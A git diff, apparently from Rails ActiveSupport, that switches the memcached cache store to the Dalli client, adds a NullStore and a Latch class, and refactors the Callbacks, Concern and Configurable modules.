@@ -143,14 +143,14 @@ module ActiveSupport
 
         # Translate a file path into a key.
         def file_path_key(path)
-          fname = path[cache_path.size, path.size].split(File::SEPARATOR, 4).last
-          Rack::Utils.unescape(fname)
+          fname = path[cache_path.to_s.size..-1].split(File::SEPARATOR, 4).last
+          URI.decode_www_form_component(fname, Encoding::UTF_8)
         end
 
         # Delete empty directories in the cache.
         def delete_empty_directories(dir)
           return if dir == cache_path
-          if Dir.entries(dir).reject{|f| f.in?(EXCLUDED_DIRS)}.empty?
+          if Dir.entries(dir).reject {|f| EXCLUDED_DIRS.include?(f)}.empty?
             File.delete(dir) rescue nil
             delete_empty_directories(File.dirname(dir))
           end
@@ -164,7 +164,7 @@ module ActiveSupport
         def search_dir(dir, &callback)
           return if !File.exist?(dir)
           Dir.foreach(dir) do |d|
-            next if d.in?(EXCLUDED_DIRS)
+            next if EXCLUDED_DIRS.include?(d)
             name = File.join(dir, d)
             if File.directory?(name)
               search_dir(name, &callback)
diff --git a/activesupport/lib/active_support/cache/mem_cache_store.rb b/activesupport/lib/active_support/cache/mem_cache_store.rb
index e07294178b..5aa78cc9f3 100644
--- a/activesupport/lib/active_support/cache/mem_cache_store.rb
+++ b/activesupport/lib/active_support/cache/mem_cache_store.rb
@@ -1,17 +1,16 @@
 begin
-  require 'memcache'
+  require 'dalli'
 rescue LoadError => e
-  $stderr.puts "You don't have memcache-client installed in your application. Please add it to your Gemfile and run bundle install"
+  $stderr.puts "You don't have dalli installed in your application. Please add it to your Gemfile and run bundle install"
   raise e
 end
 
 require 'digest/md5'
-require 'active_support/core_ext/string/encoding'
 
 module ActiveSupport
   module Cache
     # A cache store implementation which stores data in Memcached:
-    # http://www.danga.com/memcached/
+    # http://memcached.org/
     #
     # This is currently the most popular cache store for production websites.
     #
@@ -21,23 +20,15 @@ module ActiveSupport
     #   server goes down, then MemCacheStore will ignore it until it comes back up.
     #
     # MemCacheStore implements the Strategy::LocalCache strategy which implements
-    # an in memory cache inside of a block.
+    # an in-memory cache inside of a block.
     class MemCacheStore < Store
-      module Response # :nodoc:
-        STORED      = "STORED\r\n"
-        NOT_STORED  = "NOT_STORED\r\n"
-        EXISTS      = "EXISTS\r\n"
-        NOT_FOUND   = "NOT_FOUND\r\n"
-        DELETED     = "DELETED\r\n"
-      end
-
       ESCAPE_KEY_CHARS = /[\x00-\x20%\x7F-\xFF]/n
 
       def self.build_mem_cache(*addresses)
         addresses = addresses.flatten
         options = addresses.extract_options!
         addresses = ["localhost:11211"] if addresses.empty?
-        MemCache.new(addresses, options)
+        Dalli::Client.new(addresses, options)
       end
 
       # Creates a new MemCacheStore object, with the given memcached server
@@ -91,11 +82,11 @@ module ActiveSupport
       # to zero.
       def increment(name, amount = 1, options = nil) # :nodoc:
         options = merged_options(options)
-        response = instrument(:increment, name, :amount => amount) do
+        instrument(:increment, name, :amount => amount) do
           @data.incr(escape_key(namespaced_key(name, options)), amount)
         end
-        response == Response::NOT_FOUND ? nil : response.to_i
-      rescue MemCache::MemCacheError
+      rescue Dalli::DalliError
+        logger.error("DalliError (#{e}): #{e.message}") if logger
         nil
       end
 
@@ -105,11 +96,11 @@ module ActiveSupport
       # to zero.
       def decrement(name, amount = 1, options = nil) # :nodoc:
         options = merged_options(options)
-        response = instrument(:decrement, name, :amount => amount) do
+        instrument(:decrement, name, :amount => amount) do
           @data.decr(escape_key(namespaced_key(name, options)), amount)
         end
-        response == Response::NOT_FOUND ? nil : response.to_i
-      rescue MemCache::MemCacheError
+      rescue Dalli::DalliError
+        logger.error("DalliError (#{e}): #{e.message}") if logger
         nil
       end
 
@@ -117,6 +108,9 @@ module ActiveSupport
       # be used with care when shared cache is being used.
       def clear(options = nil)
         @data.flush_all
+      rescue Dalli::DalliError => e
+        logger.error("DalliError (#{e}): #{e.message}") if logger
+        nil
       end
 
       # Get the statistics from the memcached servers.
@@ -127,9 +121,9 @@ module ActiveSupport
       protected
         # Read an entry from the cache.
         def read_entry(key, options) # :nodoc:
-          deserialize_entry(@data.get(escape_key(key), true))
-        rescue MemCache::MemCacheError => e
-          logger.error("MemCacheError (#{e}): #{e.message}") if logger
+          deserialize_entry(@data.get(escape_key(key), options))
+        rescue Dalli::DalliError => e
+          logger.error("DalliError (#{e}): #{e.message}") if logger
           nil
         end
 
@@ -138,23 +132,17 @@ module ActiveSupport
           method = options && options[:unless_exist] ? :add : :set
           value = options[:raw] ? entry.value.to_s : entry
           expires_in = options[:expires_in].to_i
-          if expires_in > 0 && !options[:raw]
-            # Set the memcache expire a few minutes in the future to support race condition ttls on read
-            expires_in += 5.minutes
-          end
-          response = @data.send(method, escape_key(key), value, expires_in, options[:raw])
-          response == Response::STORED
-        rescue MemCache::MemCacheError => e
-          logger.error("MemCacheError (#{e}): #{e.message}") if logger
+          @data.send(method, escape_key(key), value, expires_in, options)
+        rescue Dalli::DalliError => e
+          logger.error("DalliError (#{e}): #{e.message}") if logger
           false
         end
 
         # Delete an entry from the cache.
         def delete_entry(key, options) # :nodoc:
-          response = @data.delete(escape_key(key))
-          response == Response::DELETED
-        rescue MemCache::MemCacheError => e
-          logger.error("MemCacheError (#{e}): #{e.message}") if logger
+          @data.delete(escape_key(key))
+        rescue Dalli::DalliError => e
+          logger.error("DalliError (#{e}): #{e.message}") if logger
           false
         end
 
@@ -165,7 +153,7 @@ module ActiveSupport
         # characters properly.
         def escape_key(key)
           key = key.to_s.dup
-          key = key.force_encoding("BINARY") if key.encoding_aware?
+          key = key.force_encoding("BINARY")
           key = key.gsub(ESCAPE_KEY_CHARS){ |match| "%#{match.getbyte(0).to_s(16).upcase}" }
           key = "#{key[0, 213]}:md5:#{Digest::MD5.hexdigest(key)}" if key.size > 250
           key
diff --git a/activesupport/lib/active_support/cache/memory_store.rb b/activesupport/lib/active_support/cache/memory_store.rb
index b15bb42c88..7fd5e3b53d 100644
--- a/activesupport/lib/active_support/cache/memory_store.rb
+++ b/activesupport/lib/active_support/cache/memory_store.rb
@@ -137,6 +137,7 @@ module ActiveSupport
         def write_entry(key, entry, options) # :nodoc:
           synchronize do
             old_entry = @data[key]
+            return false if @data.key?(key) && options[:unless_exist]
             @cache_size -= old_entry.size if old_entry
             @cache_size += entry.size
             @key_access[key] = Time.now.to_f
diff --git a/activesupport/lib/active_support/cache/null_store.rb b/activesupport/lib/active_support/cache/null_store.rb
new file mode 100644
index 0000000000..4427eaafcd
--- /dev/null
+++ b/activesupport/lib/active_support/cache/null_store.rb
@@ -0,0 +1,44 @@
+module ActiveSupport
+  module Cache
+    # A cache store implementation which doesn't actually store anything. Useful in
+    # development and test environments where you don't want caching turned on but
+    # need to go through the caching interface.
+    #
+    # This cache does implement the local cache strategy, so values will actually
+    # be cached inside blocks that utilize this strategy. See
+    # ActiveSupport::Cache::Strategy::LocalCache for more details.
+    class NullStore < Store
+      def initialize(options = nil)
+        super(options)
+        extend Strategy::LocalCache
+      end
+
+      def clear(options = nil)
+      end
+
+      def cleanup(options = nil)
+      end
+
+      def increment(name, amount = 1, options = nil)
+      end
+
+      def decrement(name, amount = 1, options = nil)
+      end
+
+      def delete_matched(matcher, options = nil)
+      end
+
+      protected
+        def read_entry(key, options) # :nodoc:
+        end
+
+        def write_entry(key, entry, options) # :nodoc:
+          true
+        end
+
+        def delete_entry(key, options) # :nodoc:
+          false
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/cache/strategy/local_cache.rb b/activesupport/lib/active_support/cache/strategy/local_cache.rb
index 0649a058aa..db5f228a70 100644
--- a/activesupport/lib/active_support/cache/strategy/local_cache.rb
+++ b/activesupport/lib/active_support/cache/strategy/local_cache.rb
@@ -4,9 +4,9 @@ require 'active_support/core_ext/string/inflections'
 module ActiveSupport
   module Cache
     module Strategy
-      # Caches that implement LocalCache will be backed by an in memory cache for the
+      # Caches that implement LocalCache will be backed by an in-memory cache for the
       # duration of a block. Repeated calls to the cache for the same key will hit the
-      # in memory cache for faster access.
+      # in-memory cache for faster access.
       module LocalCache
         # Simple memory backed cache. This cache is not thread safe and is intended only
         # for serving as a temporary memory cache for a single thread.
diff --git a/activesupport/lib/active_support/callbacks.rb b/activesupport/lib/active_support/callbacks.rb
index 656cba625c..3f7d0e401a 100644
--- a/activesupport/lib/active_support/callbacks.rb
+++ b/activesupport/lib/active_support/callbacks.rb
@@ -1,10 +1,8 @@
 require 'active_support/concern'
 require 'active_support/descendants_tracker'
-require 'active_support/core_ext/array/wrap'
 require 'active_support/core_ext/class/attribute'
 require 'active_support/core_ext/kernel/reporting'
 require 'active_support/core_ext/kernel/singleton_class'
-require 'active_support/core_ext/object/inclusion'
 
 module ActiveSupport
   # \Callbacks are code hooks that are run at key points in an object's lifecycle.
@@ -24,8 +22,6 @@ module ActiveSupport
   # methods, procs or lambdas, or callback objects that respond to certain predetermined
   # methods. See +ClassMethods.set_callback+ for details.
   #
-  # ==== Example
-  #
   #   class Record
   #     include ActiveSupport::Callbacks
   #     define_callbacks :save
@@ -55,7 +51,6 @@ module ActiveSupport
   #   saving...
   #   - save
   #   saved
-  #
   module Callbacks
     extend Concern
 
@@ -67,8 +62,6 @@ module ActiveSupport
     #
     # Calls the before and around callbacks in the order they were set, yields
     # the block (if given one), and then runs the after callbacks in reverse order.
-    # Optionally accepts a key, which will be used to compile an optimized callback
-    # method for each key. See +ClassMethods.define_callbacks+ for more information.
     #
     # If the callback chain was halted, returns +false+. Otherwise returns the result
     # of the block, or +true+ if no block is given.
@@ -76,49 +69,53 @@ module ActiveSupport
     #   run_callbacks :save do
     #     save
     #   end
-    #
-    def run_callbacks(kind, *args, &block)
-      send("_run_#{kind}_callbacks", *args, &block)
+    def run_callbacks(kind, &block)
+      runner_name = self.class.__define_callbacks(kind, self)
+      send(runner_name, &block)
+    end
+
+    private
+
+    # A hook invoked everytime a before callback is halted.
+    # This can be overridden in AS::Callback implementors in order
+    # to provide better debugging/logging.
+    def halted_callback_hook(filter)
     end
 
     class Callback #:nodoc:#
       @@_callback_sequence = 0
 
-      attr_accessor :chain, :filter, :kind, :options, :per_key, :klass, :raw_filter
+      attr_accessor :chain, :filter, :kind, :options, :klass, :raw_filter
 
       def initialize(chain, filter, kind, options, klass)
         @chain, @kind, @klass = chain, kind, klass
+        deprecate_per_key_option(options)
         normalize_options!(options)
 
-        @per_key              = options.delete(:per_key)
         @raw_filter, @options = filter, options
         @filter               = _compile_filter(filter)
-        @compiled_options     = _compile_options(options)
-        @callback_id          = next_id
+        recompile_options!
+      end
 
-        _compile_per_key_options
+      def deprecate_per_key_option(options)
+        if options[:per_key]
+          raise NotImplementedError, ":per_key option is no longer supported. Use generic :if and :unless options instead."
+        end
       end
 
       def clone(chain, klass)
         obj                  = super()
         obj.chain            = chain
         obj.klass            = klass
-        obj.per_key          = @per_key.dup
         obj.options          = @options.dup
-        obj.per_key[:if]     = @per_key[:if].dup
-        obj.per_key[:unless] = @per_key[:unless].dup
         obj.options[:if]     = @options[:if].dup
         obj.options[:unless] = @options[:unless].dup
         obj
       end
 
       def normalize_options!(options)
-        options[:if] = Array.wrap(options[:if])
-        options[:unless] = Array.wrap(options[:unless])
-
-        options[:per_key] ||= {}
-        options[:per_key][:if] = Array.wrap(options[:per_key][:if])
-        options[:per_key][:unless] = Array.wrap(options[:per_key][:unless])
+        options[:if] = Array(options[:if])
+        options[:unless] = Array(options[:unless])
       end
 
       def name
@@ -134,100 +131,46 @@ module ActiveSupport
       end
 
       def _update_filter(filter_options, new_options)
-        filter_options[:if].push(new_options[:unless]) if new_options.key?(:unless)
-        filter_options[:unless].push(new_options[:if]) if new_options.key?(:if)
+        filter_options[:if].concat(Array(new_options[:unless])) if new_options.key?(:unless)
+        filter_options[:unless].concat(Array(new_options[:if])) if new_options.key?(:if)
       end
 
-      def recompile!(_options, _per_key)
+      def recompile!(_options)
+        deprecate_per_key_option(_options)
         _update_filter(self.options, _options)
-        _update_filter(self.per_key, _per_key)
 
-        @callback_id      = next_id
-        @filter           = _compile_filter(@raw_filter)
-        @compiled_options = _compile_options(@options)
-                            _compile_per_key_options
+        recompile_options!
       end
 
-      def _compile_per_key_options
-        key_options  = _compile_options(@per_key)
-
-        @klass.class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
-          def _one_time_conditions_valid_#{@callback_id}?
-            true #{key_options[0]}
-          end
-        RUBY_EVAL
-      end
-
-      # This will supply contents for before and around filters, and no
-      # contents for after filters (for the forward pass).
-      def start(key=nil, object=nil)
-        return if key && !object.send("_one_time_conditions_valid_#{@callback_id}?")
-
-        # options[0] is the compiled form of supplied conditions
-        # options[1] is the "end" for the conditional
-        #
+      # Wraps code with filter
+      def apply(code)
         case @kind
         when :before
-          # if condition    # before_save :filter_name, :if => :condition
-          #   filter_name
-          # end
-          filter = <<-RUBY_EVAL
-            unless halted
-              # This double assignment is to prevent warnings in 1.9.3.  I would
-              # remove the `result` variable, but apparently some other
-              # generated code is depending on this variable being set sometimes
-              # and sometimes not.
+          <<-RUBY_EVAL
+            if !halted && #{@compiled_options}
+              # This double assignment is to prevent warnings in 1.9.3 as
+              # the `result` variable is not always used except if the
+              # terminator code refers to it.
               result = result = #{@filter}
               halted = (#{chain.config[:terminator]})
-            end
-          RUBY_EVAL
-
-          [@compiled_options[0], filter, @compiled_options[1]].compact.join("\n")
-        when :around
-          # Compile around filters with conditions into proxy methods
-          # that contain the conditions.
-          #
-          # For `around_save :filter_name, :if => :condition':
-          #
-          # def _conditional_callback_save_17
-          #   if condition
-          #     filter_name do
-          #       yield self
-          #     end
-          #   else
-          #     yield self
-          #   end
-          # end
-          #
-          name = "_conditional_callback_#{@kind}_#{next_id}"
-          @klass.class_eval <<-RUBY_EVAL,  __FILE__, __LINE__ + 1
-             def #{name}(halted)
-              #{@compiled_options[0] || "if true"} && !halted
-                #{@filter} do
-                  yield self
-                end
-              else
-                yield self
+              if halted
+                halted_callback_hook(#{@raw_filter.inspect.inspect})
               end
             end
+            #{code}
           RUBY_EVAL
-          "#{name}(halted) do"
-        end
-      end
-
-      # This will supply contents for around and after filters, but not
-      # before filters (for the backward pass).
-      def end(key=nil, object=nil)
-        return if key && !object.send("_one_time_conditions_valid_#{@callback_id}?")
-
-        case @kind
         when :after
-          # if condition    # after_save :filter_name, :if => :condition
-          #   filter_name
-          # end
-          [@compiled_options[0], @filter, @compiled_options[1]].compact.join("\n")
+          <<-RUBY_EVAL
+          #{code}
+          if #{!chain.config[:skip_after_callbacks_if_terminated] || "!halted"} && #{@compiled_options}
+            #{@filter}
+          end
+          RUBY_EVAL
         when :around
+          name = define_conditional_callback
           <<-RUBY_EVAL
+          #{name}(halted) do
+            #{code}
             value
           end
           RUBY_EVAL
@@ -236,23 +179,51 @@ module ActiveSupport
 
       private
 
+      # Compile around filters with conditions into proxy methods
+      # that contain the conditions.
+      #
+      # For `set_callback :save, :around, :filter_name, :if => :condition':
+      #
+      # def _conditional_callback_save_17
+      #   if condition
+      #     filter_name do
+      #       yield self
+      #     end
+      #   else
+      #     yield self
+      #   end
+      # end
+      def define_conditional_callback
+        name = "_conditional_callback_#{@kind}_#{next_id}"
+        @klass.class_eval <<-RUBY_EVAL,  __FILE__, __LINE__ + 1
+          def #{name}(halted)
+           if #{@compiled_options} && !halted
+             #{@filter} do
+               yield self
+             end
+           else
+             yield self
+           end
+         end
+        RUBY_EVAL
+        name
+      end
+
       # Options support the same options as filters themselves (and support
       # symbols, string, procs, and objects), so compile a conditional
       # expression based on the options
-      def _compile_options(options)
-        return [] if options[:if].empty? && options[:unless].empty?
-
-        conditions = []
+      def recompile_options!
+        conditions = ["true"]
 
         unless options[:if].empty?
-          conditions << Array.wrap(_compile_filter(options[:if]))
+          conditions << Array(_compile_filter(options[:if]))
         end
 
         unless options[:unless].empty?
-          conditions << Array.wrap(_compile_filter(options[:unless])).map {|f| "!#{f}"}
+          conditions << Array(_compile_filter(options[:unless])).map {|f| "!#{f}"}
         end
 
-        ["if #{conditions.flatten.join(" && ")}", "end"]
+        @compiled_options = conditions.flatten.join(" && ")
       end
 
       # Filters support:
@@ -275,7 +246,6 @@ module ActiveSupport
       #   Objects::
       #     a method is created that calls the before_foo method
       #     on the object.
-      #
       def _compile_filter(filter)
         method_name = "_callback_#{@kind}_#{next_id}"
         case filter
@@ -294,7 +264,7 @@ module ActiveSupport
           @klass.send(:define_method, "#{method_name}_object") { filter }
 
           _normalize_legacy_filter(kind, filter)
-          scopes = Array.wrap(chain.config[:scope])
+          scopes = Array(chain.config[:scope])
           method_to_call = scopes.map{ |s| s.is_a?(Symbol) ? send(s) : s }.join("_")
 
           @klass.class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
@@ -312,7 +282,8 @@ module ActiveSupport
           filter.singleton_class.class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
             def #{kind}(context, &block) filter(context, &block) end
           RUBY_EVAL
-        elsif filter.respond_to?(:before) && filter.respond_to?(:after) && kind == :around
+        elsif filter.respond_to?(:before) && filter.respond_to?(:after) && kind == :around && !filter.respond_to?(:around)
+          ActiveSupport::Deprecation.warn("Filter object with #before and #after methods is deprecated. Define #around method instead.")
           def filter.around(context)
             should_continue = before(context)
             yield if should_continue
@@ -330,97 +301,65 @@ module ActiveSupport
         @name = name
         @config = {
           :terminator => "false",
-          :rescuable => false,
           :scope => [ :kind ]
         }.merge(config)
       end
 
-      def compile(key=nil, object=nil)
+      def compile
         method = []
         method << "value = nil"
         method << "halted = false"
 
-        each do |callback|
-          method << callback.start(key, object)
-        end
-
-        if config[:rescuable]
-          method << "rescued_error = nil"
-          method << "begin"
-        end
-
-        method << "value = yield if block_given? && !halted"
-
-        if config[:rescuable]
-          method << "rescue Exception => e"
-          method << "rescued_error = e"
-          method << "end"
-        end
-
+        callbacks = "value = !halted && (!block_given? || yield)"
         reverse_each do |callback|
-          method << callback.end(key, object)
+          callbacks = callback.apply(callbacks)
         end
+        method << callbacks
 
-        method << "raise rescued_error if rescued_error" if config[:rescuable]
-        method << "halted ? false : (block_given? ? value : true)"
-        method.compact.join("\n")
+        method << "value"
+        method.join("\n")
       end
+
     end
 
     module ClassMethods
-      # Generate the internal runner method called by +run_callbacks+.
-      def __define_runner(symbol) #:nodoc:
-        body = send("_#{symbol}_callbacks").compile
 
-        silence_warnings do
-          undef_method "_run_#{symbol}_callbacks" if method_defined?("_run_#{symbol}_callbacks")
-          class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
-            def _run_#{symbol}_callbacks(key = nil, &blk)
-              if key
-                name = "_run__\#{self.class.name.hash.abs}__#{symbol}__\#{key.hash.abs}__callbacks"
-
-                unless respond_to?(name)
-                  self.class.__create_keyed_callback(name, :#{symbol}, self, &blk)
-                end
-
-                send(name, &blk)
-              else
-                #{body}
-              end
-            end
-            private :_run_#{symbol}_callbacks
-          RUBY_EVAL
-        end
-      end
-
-      # This is called the first time a callback is called with a particular
-      # key. It creates a new callback method for the key, calculating
-      # which callbacks can be omitted because of per_key conditions.
-      #
-      def __create_keyed_callback(name, kind, object, &blk) #:nodoc:
-        @_keyed_callbacks ||= {}
-        @_keyed_callbacks[name] ||= begin
-          str = send("_#{kind}_callbacks").compile(name, object)
+      # This method defines callback chain method for the given kind
+      # if it was not yet defined.
+      # This generated method plays caching role.
+      def __define_callbacks(kind, object) #:nodoc:
+        name = __callback_runner_name(kind)
+        unless object.respond_to?(name, true)
+          str = object.send("_#{kind}_callbacks").compile
           class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
             def #{name}() #{str} end
             protected :#{name}
           RUBY_EVAL
-          true
         end
+        name
+      end
+
+      def __reset_runner(symbol)
+        name = __callback_runner_name(symbol)
+        undef_method(name) if method_defined?(name)
+      end
+
+      def __callback_runner_name(kind)
+        "_run__#{self.name.hash.abs}__#{kind}__callbacks"
       end
 
       # This is used internally to append, prepend and skip callbacks to the
       # CallbackChain.
       #
       def __update_callbacks(name, filters = [], block = nil) #:nodoc:
-        type = filters.first.in?([:before, :after, :around]) ? filters.shift : :before
+        type = [:before, :after, :around].include?(filters.first) ? filters.shift : :before
         options = filters.last.is_a?(Hash) ? filters.pop : {}
         filters.unshift(block) if block
 
         ([self] + ActiveSupport::DescendantsTracker.descendants(self)).reverse.each do |target|
           chain = target.send("_#{name}_callbacks")
           yield target, chain.dup, type, filters, options
-          target.__define_runner(name)
+          target.__reset_runner(name)
         end
       end
 
@@ -459,30 +398,6 @@ module ActiveSupport
       #   will be called only when it returns a false value.
       # * <tt>:prepend</tt> - If true, the callback will be prepended to the existing
       #   chain rather than appended.
-      # * <tt>:per_key</tt> - A hash with <tt>:if</tt> and <tt>:unless</tt> options;
-      #   see "Per-key conditions" below.
-      #
-      # ===== Per-key conditions
-      #
-      # When creating or skipping callbacks, you can specify conditions that
-      # are always the same for a given key. For instance, in Action Pack,
-      # we convert :only and :except conditions into per-key conditions.
-      #
-      #   before_filter :authenticate, :except => "index"
-      #
-      # becomes
-      #
-      #   set_callback :process_action, :before, :authenticate, :per_key => {:unless => proc {|c| c.action_name == "index"}}
-      #
-      # Per-key conditions are evaluated only once per use of a given key.
-      # In the case of the above example, you would do:
-      #
-      #   run_callbacks(:process_action, action_name) { ... dispatch stuff ... }
-      #
-      # In that case, each action_name would get its own compiled callback
-      # method that took into consideration the per_key conditions. This
-      # is a speed improvement for ActionPack.
-      #
       def set_callback(name, *filter_list, &block)
         mapped = nil
 
@@ -507,7 +422,6 @@ module ActiveSupport
       #   class Writer < Person
       #      skip_callback :validate, :before, :check_membership, :if => lambda { self.age > 18 }
       #   end
-      #
       def skip_callback(name, *filter_list, &block)
         __update_callbacks(name, filter_list, block) do |target, chain, type, filters, options|
           filters.each do |filter|
@@ -516,7 +430,7 @@ module ActiveSupport
             if filter && options.any?
               new_filter = filter.clone(chain, self)
               chain.insert(chain.index(filter), new_filter)
-              new_filter.recompile!(options, options[:per_key] || {})
+              new_filter.recompile!(options)
             end
 
             chain.delete(filter)
@@ -526,7 +440,6 @@ module ActiveSupport
       end
 
       # Remove all set callbacks for the given event.
-      #
       def reset_callbacks(symbol)
         callbacks = send("_#{symbol}_callbacks")
 
@@ -534,12 +447,12 @@ module ActiveSupport
           chain = target.send("_#{symbol}_callbacks").dup
           callbacks.each { |c| chain.delete(c) }
           target.send("_#{symbol}_callbacks=", chain)
-          target.__define_runner(symbol)
+          target.__reset_runner(symbol)
         end
 
         self.send("_#{symbol}_callbacks=", callbacks.dup.clear)
 
-        __define_runner(symbol)
+        __reset_runner(symbol)
       end
 
       # Define sets of events in the object lifecycle that support callbacks.
@@ -560,10 +473,10 @@ module ActiveSupport
       #   other callbacks are not executed. Defaults to "false", meaning no value
       #   halts the chain.
       #
-      # * <tt>:rescuable</tt> - By default, after filters are not executed if
-      #   the given block or a before filter raises an error. By setting this option
-      #   to <tt>true</tt> exception raised by given block is stored and after
-      #   executing all the after callbacks the stored exception is raised.
+      # * <tt>:skip_after_callbacks_if_terminated</tt> - Determines if after callbacks should be terminated
+      #   by the <tt>:terminator</tt> option. By default after callbacks executed no matter
+      #   if callback chain was terminated or not.
+      #   Option makes sence only when <tt>:terminator</tt> option is specified.
       #
       # * <tt>:scope</tt> - Indicates which methods should be executed when an object
       #   is used as a callback.
@@ -607,13 +520,11 @@ module ActiveSupport
       #     define_callbacks :save, :scope => [:name]
       #
       #   would call <tt>Audit#save</tt>.
-      #
       def define_callbacks(*callbacks)
         config = callbacks.last.is_a?(Hash) ? callbacks.pop : {}
         callbacks.each do |callback|
           class_attribute "_#{callback}_callbacks"
           send("_#{callback}_callbacks=", CallbackChain.new(callback, config))
-          __define_runner(callback)
         end
       end
     end
diff --git a/activesupport/lib/active_support/concern.rb b/activesupport/lib/active_support/concern.rb
index 81fb859334..b927b58a9a 100644
--- a/activesupport/lib/active_support/concern.rb
+++ b/activesupport/lib/active_support/concern.rb
@@ -4,17 +4,12 @@ module ActiveSupport
   #   module M
   #     def self.included(base)
   #       base.extend ClassMethods
-  #       base.send(:include, InstanceMethods)
   #       scope :disabled, where(:disabled => true)
   #     end
   #
   #     module ClassMethods
   #       ...
   #     end
-  #
-  #     module InstanceMethods
-  #       ...
-  #     end
   #   end
   #
   # By using <tt>ActiveSupport::Concern</tt> the above module could instead be written as:
@@ -31,10 +26,6 @@ module ActiveSupport
   #     module ClassMethods
   #       ...
   #     end
-  #
-  #     module InstanceMethods
-  #       ...
-  #     end
   #   end
   #
   # Moreover, it gracefully handles module dependencies. Given a +Foo+ module and a +Bar+
@@ -65,7 +56,7 @@ module ActiveSupport
   # these from +Host+ directly including +Foo+ in +Bar+:
   #
   #   module Bar
-  #     include Foo 
+  #     include Foo
   #     def self.included(base)
   #       base.method_injected_by_foo
   #     end
@@ -103,9 +94,8 @@ module ActiveSupport
   #   class Host
   #     include Bar # works, Bar takes care now of its dependencies
   #   end
-  #
   module Concern
-    def self.extended(base)
+    def self.extended(base) #:nodoc:
       base.instance_variable_set("@_dependencies", [])
     end
 
@@ -118,7 +108,6 @@ module ActiveSupport
         @_dependencies.each { |dep| base.send(:include, dep) }
         super
         base.extend const_get("ClassMethods") if const_defined?("ClassMethods")
-        base.send :include, const_get("InstanceMethods") if const_defined?("InstanceMethods")
         base.class_eval(&@_included_block) if instance_variable_defined?("@_included_block")
       end
     end
diff --git a/activesupport/lib/active_support/concurrency/latch.rb b/activesupport/lib/active_support/concurrency/latch.rb
new file mode 100644
index 0000000000..1507de433e
--- /dev/null
+++ b/activesupport/lib/active_support/concurrency/latch.rb
@@ -0,0 +1,27 @@
+require 'thread'
+require 'monitor'
+
+module ActiveSupport
+  module Concurrency
+    class Latch
+      def initialize(count = 1)
+        @count = count
+        @lock = Monitor.new
+        @cv = @lock.new_cond
+      end
+
+      def release
+        @lock.synchronize do
+          @count -= 1 if @count > 0
+          @cv.broadcast if @count.zero?
+        end
+      end
+
+      def await
+        @lock.synchronize do
+          @cv.wait_while { @count > 0 }
+        end
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/configurable.rb b/activesupport/lib/active_support/configurable.rb
index a2d2719de7..307ae40398 100644
--- a/activesupport/lib/active_support/configurable.rb
+++ b/activesupport/lib/active_support/configurable.rb
@@ -1,7 +1,5 @@
 require 'active_support/concern'
 require 'active_support/ordered_options'
-require 'active_support/core_ext/kernel/singleton_class'
-require 'active_support/core_ext/module/delegation'
 require 'active_support/core_ext/array/extract_options'
 
 module ActiveSupport
@@ -39,29 +37,77 @@ module ActiveSupport
         yield config
       end
 
-      # Allows you to add shortcut so that you don't have to refer to attribute through config.
-      # Also look at the example for config to contrast.
+      # Allows you to add shortcut so that you don't have to refer to attribute
+      # through config. Also look at the example for config to contrast.
+      # 
+      # Defines both class and instance config accessors.
       #
       #   class User
       #     include ActiveSupport::Configurable
       #     config_accessor :allowed_access
       #   end
       #
+      #   User.allowed_access # => nil 
+      #   User.allowed_access = false
+      #   User.allowed_access # => false   
+      # 
       #   user = User.new
+      #   user.allowed_access # => false
       #   user.allowed_access = true
       #   user.allowed_access # => true
       #
+      #   User.allowed_access # => false  
+      #
+      # The attribute name must be a valid method name in Ruby.
+      #
+      #   class User
+      #     include ActiveSupport::Configurable
+      #     config_accessor :"1_Badname"
+      #   end
+      #   # => NameError: invalid config attribute name
+      #
+      # To opt out of the instance writer method, pass <tt>instance_writer: false</tt>.
+      # To opt out of the instance reader method, pass <tt>instance_reader: false</tt>.
+      #
+      #   class User
+      #     include ActiveSupport::Configurable
+      #     config_accessor :allowed_access, instance_reader: false, instance_writer: false
+      #   end
+      #
+      #   User.allowed_access = false
+      #   User.allowed_access # => false
+      #
+      #   User.new.allowed_access = true # => NoMethodError
+      #   User.new.allowed_access        # => NoMethodError
+      #
+      # Or pass <tt>instance_accessor: false</tt>, to opt out both instance methods.
+      #
+      #   class User
+      #     include ActiveSupport::Configurable
+      #     config_accessor :allowed_access, instance_accessor: false
+      #   end
+      #
+      #   User.allowed_access = false
+      #   User.allowed_access # => false
+      #
+      #   User.new.allowed_access = true # => NoMethodError
+      #   User.new.allowed_access        # => NoMethodError  
       def config_accessor(*names)
         options = names.extract_options!
 
         names.each do |name|
-          reader, line = "def #{name}; config.#{name}; end", __LINE__
-          writer, line = "def #{name}=(value); config.#{name} = value; end", __LINE__
+          raise NameError.new('invalid config attribute name') unless name =~ /^[_A-Za-z]\w*$/
+
+          reader, reader_line = "def #{name}; config.#{name}; end", __LINE__
+          writer, writer_line = "def #{name}=(value); config.#{name} = value; end", __LINE__
 
-          singleton_class.class_eval reader, __FILE__, line
-          singleton_class.class_eval writer, __FILE__, line
-          class_eval reader, __FILE__, line unless options[:instance_reader] == false
-          class_eval writer, __FILE__, line unless options[:instance_writer] == false
+          singleton_class.class_eval reader, __FILE__, reader_line
+          singleton_class.class_eval writer, __FILE__, writer_line
+
+          unless options[:instance_accessor] == false
+            class_eval reader, __FILE__, reader_line unless options[:instance_reader] == false
+            class_eval writer, __FILE__, writer_line unless options[:instance_writer] == false
+          end
         end
       end
     end
@@ -81,7 +127,6 @@ module ActiveSupport
     #
     #   user.config.allowed_access # => true
     #   user.config.level          # => 1
-    #
     def config
       @_config ||= self.class.config.inheritable_copy
     end
diff --git a/activesupport/lib/active_support/core_ext.rb b/activesupport/lib/active_support/core_ext.rb
index 46a8609dd7..b48bdf08e8 100644
--- a/activesupport/lib/active_support/core_ext.rb
+++ b/activesupport/lib/active_support/core_ext.rb
@@ -1,3 +1,4 @@
 Dir["#{File.dirname(__FILE__)}/core_ext/*.rb"].sort.each do |path|
+  next if File.basename(path, '.rb') == 'logger'
   require "active_support/core_ext/#{File.basename(path, '.rb')}"
 end
diff --git a/activesupport/lib/active_support/core_ext/array.rb b/activesupport/lib/active_support/core_ext/array.rb
index 268c9bed4c..79ba79192a 100644
